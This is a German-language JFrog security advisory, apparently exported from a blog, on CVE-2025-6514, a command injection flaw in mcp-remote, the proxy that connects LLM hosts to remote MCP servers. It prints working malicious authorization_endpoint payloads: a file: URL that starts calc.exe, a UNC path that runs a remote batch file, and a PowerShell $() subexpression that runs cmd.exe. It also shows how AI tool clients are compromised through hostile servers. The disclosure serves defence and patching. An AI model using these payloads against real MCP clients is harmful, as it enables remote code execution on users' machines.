MCP-Remote-Clients anf\u00e4llig f\u00fcr Remote Code Execution_863x300<\/p>\n
Das JFrog Security Research Team hat k\u00fcrzlich CVE-2025-6514 entdeckt und offengelegt\u00a0\u2013 eine kritische (CVSS 9.6) Sicherheitsl\u00fccke im Projekt mcp-remote, einem beliebten Tool, das von Clients des Model Context Protocol verwendet wird. Die Schwachstelle erm\u00f6glicht es Angreifern, beliebiger Betriebssystembefehle auf dem Rechner auszuf\u00fchren, auf dem mcp-remote l\u00e4uft, sobald dieser eine Verbindung zu einem nicht vertrauensw\u00fcrdigen MCP-Server herstellt. F\u00fcr Nutzer besteht dadurch ein erhebliches Risiko bis hin zur vollst\u00e4ndigen Kompromittierung des Systems.<\/p>\n
mcp-remote ist ein Proxy, der es Hosts von Large Language Models (LLM) wie Claude Desktop erm\u00f6glicht, mit Remote-MCP-Servern zu kommunizieren, selbst wenn diese nativ nur die Kommunikation mit lokalen MCP-Servern unterst\u00fctzen.<\/p>\n
W\u00e4hrend zuvor ver\u00f6ffentlichte Untersuchungen bereits Risiken aufgezeigt haben, die entstehen, wenn MCP-Clients eine Verbindung zu b\u00f6sartigen MCP-Servern herstellen. ist dies das erste Mal, dass eine vollst\u00e4ndige Remote Code Execution in einem realen Szenario auf dem Client-Betriebssystem erreicht wurde, wenn eine Verbindung zu einem nicht vertrauensw\u00fcrdigen Remote-MCP-Server hergestellt wird.<\/p>\n
Wir m\u00f6chten Glen Maddern (@geelen), dem Hauptmaintainervon mcp-remote, f\u00fcr die umgehende Behebung dieser Schwachstelle danken.
\nWer ist von CVE-2025-6514 betroffen?
\nDie Schwachstelle betrifft die mcp-remote-Versionen 0.0.5 bis 0.1.15 und ist seit Version 0.1.16 behoben.<\/p>\n
Gef\u00e4hrdet sind alle Nutzer, die eine betroffene Version von mcp-remote verwenden und und damit eine Verbindung zu einem nicht vertrauensw\u00fcrdigen oder unsicheren MCP-Server herstellen.<\/p>\n
Unter Windows konnten wir nachweisen, dass diese Schwachstelle die Ausf\u00fchrung beliebiger Betriebssystembefehle erm\u00f6glicht (Shell-Befehle mit vollst\u00e4ndiger Parameterkontrolle).
\nUnter macOS und Linux f\u00fchrt die Schwachstelle zur Ausf\u00fchrung beliebiger ausf\u00fchrbarer Dateien mit eingeschr\u00e4nkter Parameterkontrolle. Die Ausf\u00fchrung beliebiger Betriebssystembefehle auf diesen Plattformen k\u00f6nnte mit weiterer Forschung ebenfalls m\u00f6glich sein.
\nAngriffsszenarien:<\/p>\n
Szenario 1 \u2013 Ein MCP-Client verwendet mcp-remote, um eine Verbindung zu einem nicht vertrauensw\u00fcrdigen (gehijackten oder b\u00f6sartigen) MCP-Server herzustellen.<\/p>\n
Abbildung\u00a01\u00a0\u2013 VerbindungsaufbauAbbildung 1: Ein MCP-Client verwendet mcp-remote, um eine Verbindung zu einem nicht vertrauensw\u00fcrdigen MCP-Server herzustellen.<\/p>\n
Szenario\u00a02\u00a0\u2013 Ein MCP-Client verwendet mcp-remote, um eine unsichere Verbindung zu einem MCP-Server herzustellen (das URL-Schema des Servers ist http), w\u00e4hrend Angreifer im lokalen LAN einen Man-in-the-Middle-Angriff durchf\u00fchren, um den MCP-Datenverkehr zu kapern. Dieses Szenario ist in lokalen Netzwerken besonders wahrscheinlich, da MCP-Clients LAN-basierten MCP-Servern eher vertrauen und daher eher eine unsichere Verbindung zu ihnen herstellen.<\/p>\n
Abbildung\u00a02\u00a0\u2013 Angreifer-RedirectAbbildung 2: Ein MCP-Client verwendet mcp-remote, um eine unsichere Verbindung zu einem MCP-Server herzustellen, w\u00e4hrend lokale Angreifer den MCP-Datenverkehr umleiten\/kontrollieren<\/p>\n
Wie l\u00e4sst sich CVE-2025-6514 entsch\u00e4rfen?
\nCVE-2025-6514 l\u00e4sst sich durch eine der folgenden Ma\u00dfnahmen entsch\u00e4rfen:<\/p>\n
Aktualisieren Sie mcp-remote auf Version 0.1.16, die einen Fix f\u00fcr diese Schwachstelle enth\u00e4lt. Das ist die empfohlene L\u00f6sung.
\nStellen Sie nur Verbindungen zu vertrauensw\u00fcrdigen MCP-Servern her und verwenden Sie dabei HTTPS (sichere Verbindung).<\/p>\n
MCP-Transport\u00a0\u2013 lokal vs. remote
\nDas Model Context Protocol (MCP) ist ein offener Standard, der im November\u00a02024 eingef\u00fchrt wurde und schnell gro\u00dfe Verbreitung und Akzeptanz fand. Er erm\u00f6glicht KI-Assistenten und LLM-Hosts, sich in Echtzeit sicher mit externen Datenquellen, Tools und Services zu verbinden und mit ihnen zu interagieren. Dadurch k\u00f6nnen diese KI-Systeme auf Live-Informationen aus Datenbanken, APIs und Anwendungen zugreifen, w\u00e4hrend gleichzeitig Sicherheit und die Kontrolle der Nutzer dar\u00fcber gewahrt bleiben, auf welche Daten die Modelle zugreifen k\u00f6nnen.
\nAbbildung 3 \u2013 LLM-AnwendungAbbildung 3: Eine LLM-Anwendung verwendet einen lokalen MCP-Server, der auf demselben Rechner l\u00e4uft
\nUrspr\u00fcnglich wurden MCP-Server lokal bereitgestellt und auf demselben Rechner wie die LLM-Anwendung ausgef\u00fchrt. Inzwischen gibt es Remote-MCP-Server, die es mehreren LLM-Anwendungen erm\u00f6glichen, dieselbe MCP-Server-Instanz zu nutzen, w\u00e4hrend gleichzeitig der betriebliche Aufwand f\u00fcr die Wartung und Aktualisierung von Servern in einzelnen Installationen reduziert wird.
\nAbbildung\u00a04-Remote-MCP-ServerAbbildung\u00a04: Eine LLM-Anwendung nutzt einen Remote-MCP-Server, indem sie lokal mit mcp-remote kommuniziert, das die Kommunikation \u00fcber HTTP an den Remote-MCP-Server weiterleitet
\nDas Tool mcp-remote erlangte in der KI-Community Popularit\u00e4t, als erste Implementierungen von Remote-MCP-Servern aufkamen, w\u00e4hrend die meisten MCP-Clients immer noch nur die Verbindung zu lokalen Servern unterst\u00fctzten.<\/p>\n
Das Tool erm\u00f6glicht Anwendungen, die nur den lokalen MCP-Transport \u00fcber STDIO unterst\u00fctzen (wie Claude Desktop, Cursor und Windsurf), \u00fcber den HTTP-Transport eine Verbindung zu Remote-MCP-Servern herzustellen, indem es als Proxy fungiert.<\/p>\n
mcp-remote ist weit verbreitet, wie unter anderem die offizielle Dokumentation von Cloudflare, die auth0-Integrationsdocs, der Blog von Hugging Face sowie Tutorials zur Einf\u00fchrung von Remote-MCP zeigen.<\/p>\n
Beachten Sie, dass LLM-Hosts wie Cursor und Windsurf in den vergangenen Wochen die M\u00f6glichkeit hinzugef\u00fcgt haben, sich direkt mit Remote-MCP-Servern zu verbinden. Dar\u00fcber hinaus hat Anthropic diese Funktion auch f\u00fcr Nutzer von Claude Desktop mit kostenpflichtigem Abonnement verf\u00fcgbar gemacht.
\nZusammenfassung von CVE-2025-6514
\nWenn Nutzer ihren LLM-Host, z.\u00a0B. Claude Desktop, so konfigurieren m\u00f6chten, dass er eine Verbindung zu einem Remote-MCP-Server herstellt, bearbeiten sie die Konfigurationsdatei von Claude und f\u00fcgen dort einen mcp-remote-Befehl hinzu, der nur die URL des Remote-MCP-Servers enth\u00e4lt.
\n{
\n“mcpServers”: {
\n“remote-mcp-server-example”: {
\n“command”: “npx”,
\n“args”: [
\n“mcp-remote”,
\n“http:\/\/remote.server.example.com\/mcp”
\n]
\n}
\n}
\n}
\nAbbildung 5: Beispiel einer MCP-JSON-Konfigurationsdatei, die mithilfe von von mcp-remote einen Remote-MCP-Server konfiguriert
\nNach dem Speichern der Konfiguration oder dem Neustart von Claude Desktop beginnt mcp-remote mit der ersten Kommunikation mit dem MCP-Server. Der Server kann dabei eine Authentifizierung anfordern. Anschlie\u00dfend fragt mcp-remote beim Server die Metadaten seiner OAuth-Endpunkte ab. Der Server antwortet unter anderem mit seiner authorization_endpoint-URL (z.\u00a0B. https:\/\/remote.server.example.com\/authorize), die im Browser ge\u00f6ffnet werden soll, damit der Nutzer dort seine Zugangsdaten eingeben kann.<\/p>\n
Um die Schwachstelle auszunutzen, kann ein b\u00f6sartiger MCP-Server mit einem speziell pr\u00e4parierten authorization_endpoint-URL-Wert antworten, wie in der folgenden Abbildung dargestellt:
\nAbbildung 6 \u2013 Initialisierung der Remote-VerbindungAbbildung 6: mcp-remote initialisiert die Verbindung mit einem b\u00f6sartigen MCP-Server
\nmcp-remote wird versuchen, diese speziell pr\u00e4parierte URL in einem Browser zu \u00f6ffnen. Aufgrund von CVE-2025-6514 f\u00fchrt das zu einer Command Injection, durch die der Angreifer beliebige Betriebssystembefehle ausf\u00fchren kann.
\nRemote-MPC\u00a0\u2013 Abbildung\u00a07
\nAbbildung\u00a07: calc.exe wird infolge unseres Exploits ausgef\u00fchrt<\/p>\n
Technische Details zu CVE-2025-6514
\nmcp-remote fungiert als Proxy zwischen dem lokalen (STDIO) MCP-Transport und dem Remote-(Streamable\/SSE\u00a0\u2013 HTTP-basierte Protokolle)Transport und stellt gleichzeitig Authentifizierungs-\/Autorisierungsfunktionen bereit.<\/p>\n
Um mit mcp-remote einen neuen Remote-MCP-Server einzurichten, muss der Nutzer lediglich die Server-URL in die JSON-Konfigurationsdatei des MCP-Clients einf\u00fcgen\u00a0\u2013 wie in Abbildung\u00a05 oben dargestellt.<\/p>\n
Beim erneuten \u00d6ffnen der MCP-Client-Anwendung, beispielsweise Claude Desktop, wird der angegebene npx-Befehl ausgef\u00fchrt, ein Node-Prozess erstellt und die Funktion proxy.ts:runProxy von mcp-remote mit dem serverUrl-Parameteranbieter in der obigen Konfigurationsdatei gestartet.<\/p>\n
Diese Funktion erstellt ein NodeOAuthClientProvider-Objekt, das verwendet werden soll, falls der Remote-Server eine Autorisierung erfordert.<\/p>\n
Schlie\u00dflich wird ein StreamableHTTPClientTransport-Objekt erstellt und dessen send-Methode mit dem angegebenen serverUrl-Parameter aufgerufen. Die Anfrage, in diesem Fall an \u201ehttp:\/\/remote.server.example.com\/mcp\u201c, erh\u00e4lt vom \u201eb\u00f6sartigen\u201c Server eine \u201e401 Unauthorized\u201c-Antwort \u00a0\u2013 was dazu f\u00fchrt, dass der Client die Funktion auth.ts:auth aufruft, um die Autorisierung zu starten.
\nSchauen wir uns an, was in der auth-Funktion passiert, die zur besseren Verst\u00e4ndlichkeit vereinfacht dargestellt wurde:<\/p>\n
export async function auth(
\nprovider: OAuthClientProvider, {serverUrl, authorizationCode?, scope?}): Promise {
\nlet authorizationServerUrl = serverUrl;
\ntry {
\n\/* ### 1 ### *\/
\nconst resourceMetadata = await discoverOAuthProtectedResourceMetadata(
\nresourceMetadataUrl || serverUrl);
\n\/* … *\/
\n} catch (error) {console.warn(“Could not load OAut..”, error)}<\/p>\n
\/* ### 2 ### *\/
\nconst metadata = await discoverOAuthMetadata(authorizationServerUrl);<\/p>\n
\/\/ Handle client registration if needed
\nlet clientInformation = await Promise.resolve(provider.clientInformation());
\nif (!clientInformation) {
\n\/* … *\/
\n\/* ### 3 ### *\/
\nconst fullInformation = await registerClient(serverUrl, {
\nmetadata,
\nclientMetadata: provider.clientMetadata });
\n\/* … *\/
\n}<\/p>\n
\/* … *\/<\/p>\n
\/\/ Start new authorization flow
\n\/* ### 4 ### *\/
\nconst { authorizationUrl, codeVerifier } = await startAuthorization(authorizationServerUrl, {
\nmetadata,
\nclientInformation,
\nredirectUrl: provider.redirectUrl,
\nscope: scope || provider.clientMetadata.scope,
\n});<\/p>\n
await provider.saveCodeVerifier(codeVerifier);
\n\/* ### 5 ### *\/
\nawait provider.redirectToAuthorization(authorizationUrl);
\nreturn “REDIRECT”;
\n}<\/p>\n
Abbildung\u00a08: Vereinfachtes Snippet der auth-Funktion aus auth.ts (offizielles MCP TypeScript SDK)
\nDiese Funktion wird verwendet, um den OAuth-Autorisierungsablauf zu starten. Gehen wir die mit ### nummerierten Inline-Kommentare der Reihe nach durch:<\/p>\n
Wir umgehen die Logik von discoverOAuthProtectedResourceMetadata, indem unser Server auf die Fetch-Anfrage dieser Funktion (http:\/\/remote.server.example.com\/.well-known\/oauth-protected-resource) mit 401 Unauthorized antwortet.
\nAnschlie\u00dfend wird discoverOAuthMetadata aufgerufen und ruft OAuth-Metadaten vom Endpoint \/.well-known\/oauth-authorization-server unseres Servers ab. Dieser gibt ein JSON-Objekt zur\u00fcck, das OAuth-Endpunkte und Konfigurationsparameter auflistet. In dieser Antwort ist das Feld authorization_endpoint enthalten. Dessen Wert enth\u00e4lt normalerweise eine Standard-HTTP-URL zur Authentifizierung von Nutzern. Um jedoch die Ausf\u00fchrung eines Befehls auszul\u00f6sen, gibt der b\u00f6sartige Server einen speziell pr\u00e4parierten Wert zur\u00fcck:<\/p>\n
{“authorization_endpoint”: “file:\/c:\/windows\/system32\/calc.exe”,
\n“registration_endpoint”: “https:\/\/remote.server.example.com\/register”,
\n\/* \u2026 *\/
\n“code_challenge_methods_supported”: [“S256”]}<\/p>\n
Anschlie\u00dfend erfolgt die dynamische Client-Registrierung: Beim Zugriff auf unseren \/register-Endpunkt geben wir eine g\u00fcltige Antwort zur\u00fcck, sodass der Ablauf fortgesetzt wird.
\nDie Funktion startAuthorization wird aufgerufen (siehe unten) und verwendet den String metadata.authorization_endpoint, den wir in Schritt\u00a02 oben angegeben haben, um eine neue URL() zu erstellen. Anschlie\u00dfend werden Abfrageparameter (Query-String-Parameter) hinzugef\u00fcgt und das Ergebnis zur\u00fcckgegeben:<\/p>\n
export async function startAuthorization(
\nserverUrl, {metadata, clientInformation, redirectUrl, scope } {
\nif (metadata) {
\nauthorizationUrl = new URL(metadata.authorization_endpoint); \/\/javascript:$(calc.exe)
\n\/* … checks some metadata params that pass … *\/
\n}
\n\/* … *\/
\n\/* adding searchParams (query-string) to the authorizationUrl *\/
\nauthorizationUrl.searchParams.set(“response_type”, responseType);
\n\/* … *\/
\nreturn { authorizationUrl, codeVerifier };
\n}<\/p>\n
Abbildung\u00a09: Vereinfachtes Snippet der startAuthorization-Funktion aus auth.ts (offizielles MCP TypeScript SDK)<\/p>\n
Abschlie\u00dfend ruft provider.redirectToAuthorization(authorizationUrl) die Methode redirectToAuthorization unseres Objekts NodeOAuthClientProvider auf, das sich in node-oauth-client-provider.ts befindet:<\/p>\n
async redirectToAuthorization(authorizationUrl: URL): Promise {
\nlog(`\\nPlease authorize this client by visiting:\\n${authorizationUrl.toString()}\\n`)
\ntry {
\nawait open(authorizationUrl.toString()) \/* ### 6 ### *\/
\nlog(‘Browser opened automatically.’)<\/p>\n
} catch (error) {
\n\/* … *
\n}
\n}<\/p>\n
Abbildung\u00a010: Vereinfachtes Snippet der redirectToAuthorization-Funktion aus node-oauth-client-provider.ts<\/p>\n
Die Funktion open() wird aus dem npm-Paket \u201eopen\u201c importiert.\u00a0\u00a0open(param) f\u00fchrt auf Windows-Rechnern Folgendes aus*:<\/p>\n
Ermittelt den powershell.exe-Pfad
\nErstellt einen codierten PowerShell-Befehl vor, der das param-Argument ausf\u00fchrt.
\nF\u00fchrt dieses in einem neuen Subprozess mit der folgenden Befehlszeile aus:<\/p>\n
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand ‘UwB0AGEAcgB0ACAAIgBqAGEAdgB\u2026.=’<\/p>\n
PowerShell dekodiert den Befehl und f\u00fchrt ihn aus. In unserem Fall wird dadurch calc.exe ausgef\u00fchrt:<\/p>\n
Start “file:\/c:\/windows\/system32\/calc.exe?response_type=code\u2026..”<\/p>\n
* Das ,open\u2018-Paket verwendet unter macOS und Linux unterschiedliche Codepfade und f\u00fchrt entsprechend \u201eopen URL\u201c bzw. \u201exdg-open URL\u201c aus. Zwar k\u00f6nnen diese Implementierungen auch ausgenutzt werden, um beliebige ausf\u00fchrbare Dateien \u00fcber file:\/\/-URLs zu starten, jedoch ist die Angriffsfl\u00e4che eingeschr\u00e4nkter, da keine Shell aufgerufen wird und sich dadurch die M\u00f6glichkeit zur Steuerung der Argumente der ausf\u00fchrbaren Datei begrenzen l\u00e4sst.<\/p>\n
Von eingeschr\u00e4nkter zu vollst\u00e4ndiger Befehlsausf\u00fchrung
\nDas Schl\u00fcsselwort Start, das sich auf das PowerShell-Cmdlet Start-Process bezieht, kann eine ausf\u00fchrbare Datei starten oder sie f\u00fcr Dateierweiterungs-Zuordnungen oder Protokoll-Handler (URI-Schemata) an die Windows Shell \u00fcbergeben.<\/p>\n
Da der String authorization_endpoint zum Erstellen einer new URL() verwendet wird, muss er in einem g\u00fcltigen URL-Format vorliegen und mit einem URI-Schema beginnen.<\/p>\n
Wird “file:\/c:\/windows\/system32\/calc.exe?response_type=code\u2026..\u201d angegeben, wird \u00fcber das file:-URI-Schema die ausf\u00fchrbare Datei calc.exe gestartet.
\nAbbildung 11 \u2013 Remote ExecutionAbbildung\u00a011: mcp-remote f\u00fchrt den Prozess calc.exe aus, obwohl eigentlich ein Browser zur Autorisierung ge\u00f6ffnet werden soll
\nJetzt k\u00f6nnen wir jede beliebige ausf\u00fchrbare Datei starten, jedoch ohne Argumente\u00a0\u2013 was noch nicht ausreichend ist.<\/p>\n
Wir k\u00f6nnen versuchen, eine Remote-Datei auszuf\u00fchren, indem wir URLs wie \u201efile:\/\/IP_ADDR\/Share\/test.bat?response_type=code\u2026..\u201c verwenden, die auf einen UNC-Pfad f\u00fcr den Zugriff auf Netzwerkressourcen verweisen (beachten Sie die doppelten Backslashes).<\/p>\n
Es funktioniert\u00a0\u2013 allerdings gibt Windows eine Sicherheitswarnung bez\u00fcglich der Ausf\u00fchrung einer Remote-Anwendung aus:
\nRemote-MCP\u00a0\u2013 Abbildung\u00a012: Sicherheitswarnung, die beim Versuch angezeigt wird, einen UNC-Pfad auszuf\u00fchrenRemote-MPC \u2013 Abbildung 13
\nVersuchen wir eine andere Strategie: Da der Befehl innerhalb einer PowerShell ausgef\u00fchrt wird, k\u00f6nnen wir die Subexpression-Auswertung zur Einschleusung unserer Befehle missbrauchen: \u201ehttp:\/\/www.example$(calc.exe).com\/?response_type=code\u2026..\u201c. Dadurch wird calc.exe ausgef\u00fchrt, da der Subexpression-Operator $( ) seinen Parameterausdruck auswertet (ausf\u00fchrt).<\/p>\n
Wenn wir ein Leerzeichen angeben k\u00f6nnten, w\u00fcrde uns diese Technik erm\u00f6glichen, beliebige Parameter in den Befehl einzuschleusen. Da unser String jedoch zuvor URL() durchlief und Leerzeichen in URLs nicht zul\u00e4ssig sind, schl\u00e4gt entweder der Aufruf von new URL() fehl\u00a0\u2013 falls es sich innerhalb der Domain befindet\u00a0\u2013 oder es wird zu %20 URL-codiert. Beispielsweise wird die Eingabe \u201ehttp:\/\/www.example.com\/$(cmd.exe \/c echo test)\u201c umgewandelt in \u201ehttp:\/\/www.example.com\/$(cmd.exe%20\/c%20echo%20test)\/?response_type=code\u2026..\u201c.
\nDasselbe geschieht bei Versuchen mit \u201efile:\u201c.<\/p>\n
Schlie\u00dflich stellten wir fest, dass bei Angabe eines nicht existierenden Schemas, das keinen Backslash enth\u00e4lt, keine URL-Kodierung erfolgt. Dadurch k\u00f6nnen wir \u201ea:$(cmd.exe \/c whoami > c:\\\\temp\\\\pwned.txt)?response_type=code\u2026..\u201c angeben und eine vollst\u00e4ndige Befehlsausf\u00fchrung erreichen!<\/p>\n
Abbildung\u00a013: Eine neue Datei pwned.txt wurde infolge unseres Befehls cmd.exe \/c in C:\\temp erstellt \u00a0\u2013 ein Beleg daf\u00fcr, dass die Codeausf\u00fchrung erfolgreich war.<\/p>\n
Zusammenfassung
\nMit der Entdeckung von CVE-2025-6514 haben wir gezeigt, dass bei einer Verbindung zu nicht vertrauensw\u00fcrdigen MCP-Servern eine Remote Code Execution m\u00f6glich ist. Wie bereits erw\u00e4hnt, haben LLM-Hosts wie Cursor, Windsurf und Claude nun \u00e4hnliche Funktionen f\u00fcr Remote-MCP-Verbindungen hinzugef\u00fcgt. MCP-Nutzer sollten besonders darauf achten, ausschlie\u00dflich \u00fcber sichere Verbindungsmethoden (HTTPS) auf vertrauensw\u00fcrdige MCP-Servern zuzugreifen, da im stetig wachsenden MCP-\u00d6kosystem \u00e4hnliche Schwachstellen wie CVE-2025-6514 entdeckt werden k\u00f6nnten.<\/p>\n
Um \u00fcber weitere Angriffe und Zero-Day-Schwachstellen auf dem Laufenden zu bleiben, besuchen Sie das JFrog Security ResearchCenter. Dort erhalten Sie aktuelle Informationen zu CVEs, Schwachstellen und deren Behebung.<\/p>\n","protected":false},"excerpt":{"rendered":"
MCP-Remote-Clients anf\u00e4llig f\u00fcr Remote Code Execution_863x300 Das JFrog Security Research Team hat k\u00fcrzlich CVE-2025-6514 entdeckt und offengelegt\u00a0\u2013 eine kritische (CVSS 9.6) Sicherheitsl\u00fccke im Projekt mcp-remote, einem beliebten Tool, das von Clients des Model Context Protocol verwendet wird. Die Schwachstelle erm\u00f6glicht es Angreifern, beliebiger Betriebssystembefehle auf dem Rechner auszuf\u00fchren, auf dem mcp-remote l\u00e4uft, sobald dieser eine …<\/p>\n","protected":false},"author":590,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[10157],"tags":[11034,11014,11015,10848,10348],"class_list":["post-174282","post","type-post","status-publish","format-standard","hentry","category-sicherheit-und-devsecops","tag-mcp-de","tag-rce-de","tag-cve-de","tag-vulnerabilities-de","tag-security-research-de"],"yoast_head":"\n